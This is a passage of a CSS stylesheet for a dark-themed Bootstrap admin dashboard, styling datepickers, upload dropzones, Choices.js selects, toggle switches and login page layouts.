.form-label-group input:not(:placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .form-v1 .form-label-group input:not(:placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .datepicker { width: 265px; padding: 10px; } .datepicker.dropdown-menu { padding: 10px; } .datepicker.datepicker-orient-top { margin-top: 8px; } .datepicker table { width: 100%; } .datepicker td, .datepicker th { font-weight: regular; width: 35px; height: 35px; } .datepicker thead th { color: #ffffff; } .datepicker thead th.datepicker-switch, .datepicker thead th.next, .datepicker thead th.prev { font-weight: 500; color: #808191; } .datepicker thead th.datepicker-switch i, .datepicker thead th.next i, .datepicker thead th.prev i { font-size: 1.2rem; color: #808191; } .datepicker thead th.datepicker-switch i:before, .datepicker thead th.next i:before, .datepicker thead th.prev i:before { line-height: 0; vertical-align: middle; } .datepicker thead th.datepicker-switch:hover, .datepicker thead th.next:hover, .datepicker thead th.prev:hover { background: #22242c !important; } .datepicker thead th.dow { color: #808191; font-weight: 500; } .datepicker tbody tr > td.day { color: #808191; } .datepicker tbody tr > td.day:hover { background: #22242c; color: #808191; } .datepicker tbody tr > td.day.old { color: #808191; } .datepicker tbody tr > td.day.new { color: #808191; } .datepicker tbody tr > td.day.active, .datepicker tbody tr > td.day.active:hover, .datepicker tbody tr > td.day.selected, .datepicker tbody tr > td.day.selected:hover { background: #51459d; color: #fff; } .datepicker tbody tr > td.day.today { position: relative; background: #51459d !important; color: #fff !important; } .datepicker tbody tr > td.day.today:before { content: ""; display: inline-block; border: solid transparent; border-width: 0 0 7px 7px; border-bottom-color: #ffffff; border-top-color: #808191; position: absolute; bottom: 4px; right: 4px; } .datepicker tbody tr > td.day.range { background: #22242c; } .datepicker tbody tr > td span.hour, .datepicker tbody tr > td span.minute, .datepicker tbody tr > td span.month, .datepicker tbody tr > td span.year { color: #808191; } .datepicker tbody tr > td span.hour:hover, .datepicker tbody tr > td span.minute:hover, .datepicker tbody tr > td span.month:hover, .datepicker tbody tr > td span.year:hover { background: #22242c; } .datepicker tbody tr > td span.hour.active, .datepicker tbody tr > td span.hour.active.focused:hover, .datepicker tbody tr > td span.hour.active:hover, .datepicker tbody tr > td span.hour.focused, .datepicker tbody tr > td span.hour.focused:hover, .datepicker tbody tr > td span.minute.active, .datepicker tbody tr > td span.minute.active.focused:hover, .datepicker tbody tr > td span.minute.active:hover, .datepicker tbody tr > td span.minute.focused, .datepicker tbody tr > td span.minute.focused:hover, .datepicker tbody tr > td span.month.active, .datepicker tbody tr > td span.month.active.focused:hover, .datepicker tbody tr > td span.month.active:hover, .datepicker tbody tr > td span.month.focused, .datepicker tbody tr > td span.month.focused:hover, .datepicker tbody tr > td span.year.active, .datepicker tbody tr > td span.year.active.focused:hover, .datepicker tbody tr > td span.year.active:hover, .datepicker tbody tr > td span.year.focused, .datepicker tbody tr > td span.year.focused:hover { background: #51459d; color: #fff; } .datepicker tfoot tr > th.clear, .datepicker tfoot tr > th.today { font-weight: 500; } .datepicker tfoot tr > th.clear:hover, .datepicker tfoot tr > th.today:hover { background: #22242c; } .datepicker.datepicker-inline { border: 1px solid #3E3F4A; } .bootstrap-timepicker-widget { left: auto; width: 175px; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { border: none; box-shadow: none; } .bootstrap-timepicker-widget table td > a { border: 0; } .bootstrap-timepicker-widget table td > a i { font-size: 1.1rem; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { color: #ffffff; } .bootstrap-timepicker-widget table td > a:hover { background: #22242c; } .tagify__tag { --tag-bg: #22242c; --tag-hover: rgba(81, 69, 157, 0.3); --tag-remove-bg: rgba(255, 58, 110, 0.3); --tag-remove-btn-bg--hover: #ff3a6e; } .tagify__tag.tagify__tag--primary { --tag-bg: rgba(81, 69, 157, 0.2); } .tagify__tag.tagify__tag--primary div .tagify__tag-text { color: #51459d; } .tagify__tag.tagify__tag--secondary { --tag-bg: rgba(108, 117, 125, 0.2); } .tagify__tag.tagify__tag--secondary div .tagify__tag-text { color: #6c757d; } .tagify__tag.tagify__tag--success { --tag-bg: rgba(111, 217, 67, 0.2); } .tagify__tag.tagify__tag--success div .tagify__tag-text { color: #6fd943; } .tagify__tag.tagify__tag--info { --tag-bg: rgba(62, 201, 214, 0.2); } .tagify__tag.tagify__tag--info div .tagify__tag-text { color: #3ec9d6; } .tagify__tag.tagify__tag--warning { --tag-bg: rgba(255, 162, 29, 0.2); } .tagify__tag.tagify__tag--warning div .tagify__tag-text { color: #ffa21d; } .tagify__tag.tagify__tag--danger { --tag-bg: rgba(255, 58, 110, 0.2); } .tagify__tag.tagify__tag--danger div .tagify__tag-text { color: #ff3a6e; } .tagify__tag.tagify__tag--light { --tag-bg: rgba(248, 249, 250, 0.2); } .tagify__tag.tagify__tag--light div .tagify__tag-text { color: #f8f9fa; } .tagify__tag.tagify__tag--dark { --tag-bg: rgba(28, 35, 47, 0.2); } .tagify__tag.tagify__tag--dark div .tagify__tag-text { color: #1c232f; } .bootstrap-switch { border-color: #3E3F4A; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default { background: #22242c; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-primary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-primary { color: #fff; background: #51459d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-secondary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-secondary { color: #fff; background: #6c757d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-success, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-success { color: #fff; background: #6fd943; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-info, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-info { color: #fff; background: #3ec9d6; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-warning, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-warning { color: #fff; background: #ffa21d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-danger, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-danger { color: #fff; background: #ff3a6e; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-light, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-light { color: #fff; background: #f8f9fa; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-dark, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-dark { color: #fff; background: #1c232f; } .bootstrap-select > .dropdown-toggle.bs-placeholder.btn[class*="btn-"]:not(.btn-light) { color: #fff; } .typeahead .twitter-typeahead { display: block !important; } .scrollable-dropdown-menu .tt-menu { max-height: 150px; overflow-y: auto; } .tt-menu { padding: 10px 0; font-size: 0.875rem; background: #fff; min-width: 10rem; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; } .tt-menu .tt-suggestion { padding: 4px 20px; border-radius: 2px; } .tt-menu .tt-suggestion.active, .tt-menu .tt-suggestion:active, .tt-menu .tt-suggestion:focus, .tt-menu .tt-suggestion:hover { background: rgba(81, 69, 157, 0.03); color: #51459d; } .sticky-action .card-header { background: #fff; z-index: 1; } .sticky-action.sticky .card-header { top: 0; position: fixed; box-shadow: 0 1px 15px 1px rgba(57, 82, 107, 0.15); left: calc(255px + 30px); right: 30px; } @media (max-width: 1024px) { .sticky-action.sticky .card-header { top: calc(60px + 10px); } } .dropzone { min-height: auto; } .dropzone { padding: 20px; text-align: center; cursor: pointer; border: 2px dashed #3E3F4A; border-radius: 10px; } .dropzone .dropzone-msg-title { color: #808191; margin: 0 0 5px; padding: 0; font-weight: 500; font-size: 1.2rem; } .dropzone .dropzone-msg-desc { color: #808191; font-weight: 400; font-size: 1rem; } .dropzone .dz-preview .dz-image { border-radius: 10px; } .dropzone.dropzone-primary { border-color: #51459d; } .dropzone.dropzone-secondary { border-color: #6c757d; } .dropzone.dropzone-success { border-color: #6fd943; } .dropzone.dropzone-info { border-color: #3ec9d6; } .dropzone.dropzone-warning { border-color: #ffa21d; } .dropzone.dropzone-danger { border-color: #ff3a6e; } .dropzone.dropzone-light { border-color: #f8f9fa; } .dropzone.dropzone-dark { border-color: #1c232f; } .dz-started .dropzone-msg { display: none; } .dropzone-multi { border: 0; padding: 0; } .dropzone-multi .dz-message { display: none; } .dropzone-multi .dropzone-panel .dropzone-remove-all, .dropzone-multi .dropzone-panel .dropzone-upload { display: none; } .dropzone-multi .dropzone-item { background: #22242c; border-radius: 10px; margin: 8px 0; display: flex; align-items: center; justify-content: space-between; padding: 8px 14px; } .dropzone-multi .dropzone-item .dropzone-progress { width: 20%; } .dropzone-multi .dropzone-item .dropzone-progress .progress { height: 0.5rem; transition: all 0.2s ease-in-out; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename { font-size: 0.9rem; font-weight: 500; color: #808191; text-overflow: ellipsis; margin-right: 0.5rem; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename b { font-size: 0.9rem; font-weight: 500; color: #808191; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-error { margin-top: 0.25rem; font-size: 0.9rem; font-weight: 400; color: #ff3a6e; text-overflow: ellipsis; } .dropzone-multi .dropzone-item .dropzone-toolbar { margin-left: 1rem; display: flex; flex-wrap: nowrap; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { height: 25px; width: 25px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start i { font-size: 0.8rem; color: #ffffff; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start:hover i { color: #51459d; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { transition: all 0.2s ease-in-out; } .uppy-Dashboard--modal { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-overlay { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-inner { z-index: 1031; } .uppy-DragDrop--is-dragdrop-supported { border-color: #22242c; } .dash-uppy-thumbnail-container .dash-uppy-thumbnail img { width: 100px; } .slider-selection { box-shadow: none; } .dash-toggle-noUiSlider { height: 50px; } .dash-toggle-noUiSlider.off .noUi-handle { border-color: #ff3a6e; background: #ff3a6e; box-shadow: none; } .note-editor.card .card-header { padding: 0 5px 5px; border-bottom-color: #a9a9a9; } #cke5-inline-demo .ck-content { margin-bottom: 1rem; padding: 2.5rem; background-color: #fff; border: 1px solid rgba(0, 0, 0, 0.15); } #cke5-inline-demo .ck-content h3, #cke5-inline-demo .ck-content .h3 { margin-top: 0; } #cke5-inline-demo header.ck-content { text-align: center; } #cke5-inline-demo header.ck-content h2:first-of-type, #cke5-inline-demo header.ck-content .h2:first-of-type { margin-top: 0; } #cke5-inline-demo header.ck-content h2 + h3, #cke5-inline-demo header.ck-content .h2 + h3, #cke5-inline-demo header.ck-content h2 + .h3, #cke5-inline-demo header.ck-content .h2 + .h3 { margin-top: 0; color: #808191; font-weight: 600; } #cke5-inline-demo .demo-row { width: 100%; display: flex; } #cke5-inline-demo .demo-row .demo-row__half { width: 50%; } #cke5-inline-demo .demo-row .demo-row__half:first-of-type { padding-right: 0.5rem; } #cke5-inline-demo .demo-row .demo-row__half:last-of-type { padding-left: 0.5rem; } #cke5-inline-demo .demo-row p { margin-bottom: 0; } #cke5-inline-demo .demo-row h3, #cke5-inline-demo .demo-row .h3 { margin: 0; font-weight: 600; } .switch-demo .custom-switch-v1 { margin-bottom: 4px; } .custom-switch-v1.form-switch { padding-left: 2.9em; } .custom-switch-v1.form-switch .form-check-input { height: 20px; width: 35px; margin-left: -2.9em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); box-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .custom-switch-v1.form-switch .form-check-input[class*="input-light-"] { border: none; } .custom-switch-v1.form-switch .form-check-input:focus { box-shadow: none; border-color: rgba(0, 0, 0, 0.25); } .custom-switch-v1.form-switch .form-check-input:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%2351459d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #51459d, #9d4591) !important; border-color: #51459d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236c757d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6c757d, #746c7d) !important; border-color: #6c757d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236fd943'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6fd943, #43d9ad) !important; border-color: #6fd943 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%233ec9d6'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #3ec9d6, #4b3ed6) !important; border-color: #3ec9d6 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffa21d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ffa21d, #7aff1d) !important; border-color: #ffa21d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ff3a6e, #ffcb3a) !important; border-color: #ff3a6e !important; } .custom-switch-v1.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #f8f9fa, #f9f8fa) !important; border-color: #f8f9fa !important; } .custom-switch-v1.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%231c232f'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #1c232f, #281c2f) !important; border-color: #1c232f !important; } .custom-switch-v1 .custom-control-label::before { transition: 0.2s cubic-bezier(0.24, 0, 0.5, 1); height: 20px; width: 35px; border-radius: 0.8rem; top: 0; left: -2.55rem; } .custom-switch-v1 .custom-control-label::after { top: calc(0.15625rem - 2px); left: calc(-2.25rem - 4px); height: 19px; width: 19px; border-radius: 0.7rem; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1), 0 4px 0 0 rgba(0, 0, 0, 0.04), 0 4px 9px rgba(0, 0, 0, 0.13), 0 3px 3px rgba(0, 0, 0, 0.05); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); } .custom-switch-v1 .custom-control-input:checked ~ .custom-control-label::after { transform: translateX(0.95rem); } .row[data-multiselectsplitter-wrapper-selector] select { margin-bottom: 8px; } .choices { position: relative; margin-bottom: 5px; font-size: 16px; } .choices:focus { outline: none; } .choices:last-child { margin-bottom: 0; } .choices.is-disabled .choices__inner, .choices.is-disabled .choices__input { background-color: #2b2d38; cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .choices.is-disabled .choices__item { cursor: not-allowed; } .choices [hidden] { display: none !important; } .choices[data-type*="select-one"] { cursor: pointer; } .choices[data-type*="select-one"] .choices__inner { padding-bottom: 7.5px; } .choices[data-type*="select-one"] .choices__input { display: block; width: 100%; padding: 10px; border-bottom: 1px solid #3E3F4A; background-color: #22242c; margin: 0; } .choices[data-type*="select-one"] .choices__button { background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjMDAwIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); padding: 0; background-size: 8px; position: absolute; top: 50%; right: 0; margin-top: -10px; margin-right: 25px; height: 20px; width: 20px; border-radius: 10em; opacity: 0.5; } .choices[data-type*="select-one"] .choices__button:focus, .choices[data-type*="select-one"] .choices__button:hover { opacity: 1; } .choices[data-type*="select-one"] .choices__button:focus { box-shadow: 0 0 0 2px #51459d; } .choices[data-type*="select-one"] .choices__item[data-value=""] .choices__button { display: none; } .choices[data-type*="select-one"]:after { content: ""; height: 0; width: 0; border-style: solid; border-color: #808191 transparent transparent transparent; border-width: 5px; position: absolute; right: 11.5px; top: 50%; margin-top: -2.5px; pointer-events: none; } .choices[data-type*="select-one"].is-open:after { border-color: transparent transparent #808191 transparent; margin-top: -7.5px; } .choices[data-type*="select-one"][dir="rtl"]:after { left: 11.5px; right: auto; } .choices[data-type*="select-one"][dir="rtl"] .choices__button { right: auto; left: 0; margin-left: 25px; margin-right: 0; } .choices[data-type*="select-multiple"] .choices__inner, .choices[data-type*="text"] .choices__inner { cursor: text; } .choices[data-type*="select-multiple"] .choices__button, .choices[data-type*="text"] .choices__button { position: relative; display: inline-block; margin: 0 -4px 0 8px; padding-left: 16px; border-left: 2px solid rgba(255, 255, 255, 0.35); background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjRkZGIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); background-size: 8px; width: 8px; line-height: 1; opacity: 0.75; border-radius: 0; } .choices[data-type*="select-multiple"] .choices__button:focus, .choices[data-type*="select-multiple"] .choices__button:hover, .choices[data-type*="text"] .choices__button:focus, .choices[data-type*="text"] .choices__button:hover { opacity: 1; } .choices__inner { display: inline-block; vertical-align: top; width: 100%; background-color: #22242c; padding: 7.5px 7.5px 3.75px; border: 2px solid #3E3F4A; border-radius: 6px; font-size: 14px; min-height: 44px; overflow: hidden; } .is-focused .choices__inner, .is-open .choices__inner { border-width: 2px; border-color: #51459d; } .is-open .choices__inner { border-radius: 6px 6px 0 0; } .is-flipped.is-open .choices__inner { border-radius: 0 0 6px 6px; } .choices__list { margin: 0; padding-left: 0; list-style: none; } .choices__list--single { display: inline-block; padding: 4px 16px 4px 4px; width: 100%; } [dir="rtl"] .choices__list--single { padding-right: 4px; padding-left: 16px; } .choices__list--single .choices__item { width: 100%; } .choices__list--multiple { display: inline; } .choices__list--multiple .choices__item { display: inline-block; vertical-align: middle; border-radius: 6px; padding: 4px 10px; font-size: 12px; font-weight: 500; margin-right: 3.75px; margin-bottom: 3.75px; background-color: #51459d; border: 1px solid darkslateblue; color: #ffffff; word-break: break-all; box-sizing: border-box; } .choices__list--multiple .choices__item[data-deletable] { padding-right: 5px; } [dir="rtl"] .choices__list--multiple .choices__item { margin-right: 0; margin-left: 3.75px; } .choices__list--multiple .choices__item.is-highlighted { background-color: darkslateblue; border: 1px solid #3f357a; } .is-disabled .choices__list--multiple .choices__item { background-color: black; border: 1px solid black; } .choices__list--dropdown { visibility: hidden; z-index: 1; position: absolute; width: 100%; background-color: #22242c; border: 1px solid #3E3F4A; top: 100%; margin-top: -1px; border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; overflow: hidden; word-break: break-all; will-change: visibility; } .choices__list--dropdown.is-active { visibility: visible; } .is-open .choices__list--dropdown { border-color: #1b1c20; } .is-flipped .choices__list--dropdown { top: auto; bottom: 100%; margin-top: 0; margin-bottom: -1px; border-radius: 0.25rem 0.25rem 0 0; } .choices__list--dropdown .choices__list { position: relative; max-height: 300px; overflow: auto; -webkit-overflow-scrolling: touch; will-change: scroll-position; } .choices__list--dropdown .choices__item { position: relative; padding: 10px; font-size: 14px; } [dir="rtl"] .choices__list--dropdown .choices__item { text-align: right; } @media (min-width: 640px) { .choices__list--dropdown .choices__item--selectable { padding-right: 100px; } .choices__list--dropdown .choices__item--selectable:after { content: attr(data-select-text); font-size: 12px; opacity: 0; position: absolute; right: 10px; top: 50%; transform: translateY(-50%); } [dir="rtl"] .choices__list--dropdown .choices__item--selectable { text-align: right; padding-left: 100px; padding-right: 10px; } [dir="rtl"] .choices__list--dropdown .choices__item--selectable:after { right: auto; left: 10px; } } .choices__list--dropdown .choices__item--selectable.is-highlighted { background-color: rgba(81, 69, 157, 0.1); } .choices__list--dropdown .choices__item--selectable.is-highlighted:after { opacity: 0.5; } .choices__item { cursor: default; } .choices__item--selectable { cursor: pointer; } .choices__item--disabled { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.5; } .choices__heading { font-weight: 600; font-size: 12px; padding: 10px; border-bottom: 1px solid #555766; color: gray; } .choices__button { text-indent: -9999px; -webkit-appearance: none; -moz-appearance: none; appearance: none; border: 0; background-color: transparent; background-repeat: no-repeat; background-position: center; cursor: pointer; } .choices__button:focus { outline: none; } .choices__input { display: inline-block; vertical-align: baseline; background-color: #22242c; font-size: 14px; margin-bottom: 0px; border: 0; color: #808191; border-radius: 0; max-width: 100%; padding: 4px 0 4px 2px; } .choices__input:focus { outline: 0; } [dir="rtl"] .choices__input { padding-right: 2px; padding-left: 0; } .choices__placeholder { opacity: 0.5; } .typeahead { position: relative; } .typeahead > ul { background-color: #ffffff; border-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.1); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.17); display: none; float: left; font-size: 14px; left: 0; list-style: none; margin: 2px 0 0; min-width: 170px; padding: 5px 0; position: absolute; text-align: left; top: 100%; z-index: 1000; } .typeahead > ul > li > a { clear: both; color: #333; cursor: default; display: block; font-weight: 400; line-height: 1.42857143; padding: 3px 20px; white-space: nowrap; } .typeahead > ul > li.active > a, .typeahead > ul > li > a:hover { background-color: #3f9bfa; color: #ffffff; text-decoration: none; } .validate-me .error { border-color: #ff3a6e; } .error-message { color: #ff3a6e; } /** ===================== Authentication css start ========================== **/ .auth-wrapper { position: relative; display: flex; align-items: center; justify-content: center; overflow: hidden; min-width: 100%; min-height: 100vh; } @media (min-width: 1200px) { .auth-wrapper .container { max-width: 1140px; } } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper { display: block; margin: 0 auto; } .auth-wrapper > .row { min-height: 100vh; } .auth-wrapper > .row > .aut-bg-img { min-height: 100vh; } } .auth-wrapper .saprator { position: relative; margin: 8px 0; } .auth-wrapper .saprator span { background: #fff; position: relative; padding: 0 10px; z-index: 5; font-size: 20px; } .auth-wrapper .saprator:after { content: ""; position: absolute; top: 15px; left: 0; width: 100%; height: 1px; background: #3E3F4A; z-index: 1; } .auth-wrapper a, .auth-wrapper p > a { color: #525b69; } .auth-wrapper .input-group { background: transparent; } .auth-wrapper .card { margin-bottom: 0; padding: 8px; } .auth-wrapper .card .card-body { padding: 20px 25px 20px 40px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .card { display: block; } } .auth-wrapper > div { z-index: 5; } .auth-wrapper .auth-content { position: relative; padding: 15px; z-index: 5; } .auth-wrapper .auth-content:not(.container) .card-body { padding: 40px 35px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .auth-content { margin: 0 auto; } } .auth-wrapper .navbar { background: #292A33; border-radius: 10px; box-shadow: none; } .auth-wrapper .auth-content { width: 75vw; min-height: calc(100vh - 40px); display: flex; flex-direction: column; justify-content: space-between; } .auth-wrapper .auth-content .auth-footer .link-light { color: #fff; opacity: 0.7; } .auth-wrapper .auth-content .auth-footer .link-light:hover, .auth-wrapper .auth-content .auth-footer .link-light:focus, .auth-wrapper .auth-content .auth-footer .link-light:active { opacity: 1; } .auth-wrapper .auth-content .card { overflow: hidden; padding: 0; box-shadow: none; background: transparent; } .auth-wrapper .auth-content .card .card-body { display: flex; flex-direction: column; justify-content: space-between; height: 100%; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .card .auth-img-content { margin: 0 0 0 auto; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .img-card-side { position: relative; padding: 0; } .auth-wrapper .auth-content .img-card-side .img-card-side-content { position: absolute; top: 30px; left: 45px; } @media only screen and (max-width: 1199px) { .auth-wrapper .bg-auth-side, .auth-wrapper .auth-img-content, .auth-wrapper .auth-footer { display: none; } .auth-wrapper .auth-content { width: 85vw; } .auth-wrapper .auth-content .auth-footer { display: none; } .auth-wrapper .auth-content .card .card-body { margin: 0 auto; } } @media only screen and (max-width: 992px) { .auth-wrapper .auth-content { width: 95vw; } } @media only screen and (max-width: 767px) { .auth-wrapper .card .card-body { padding: 30px 15px; } } .auth-wrapper.auth-v3 .bg-auth-side { content: ""; top: 20px; left: 50%; right: 20px; bottom: 20px; border-radius: 20px; position: absolute; } .auth-wrapper.auth-v2 .card { overflow: visible; } .auth-wrapper.auth-v2 .bg-auth-side { content: ""; top: 0; left: 50%; right: 0; bottom: 0; border-radius: 0px; position: absolute; transform: skewX(-8deg); transform-origin: bottom; } .auth-wrapper.auth-v2 .auth-img-content { position: 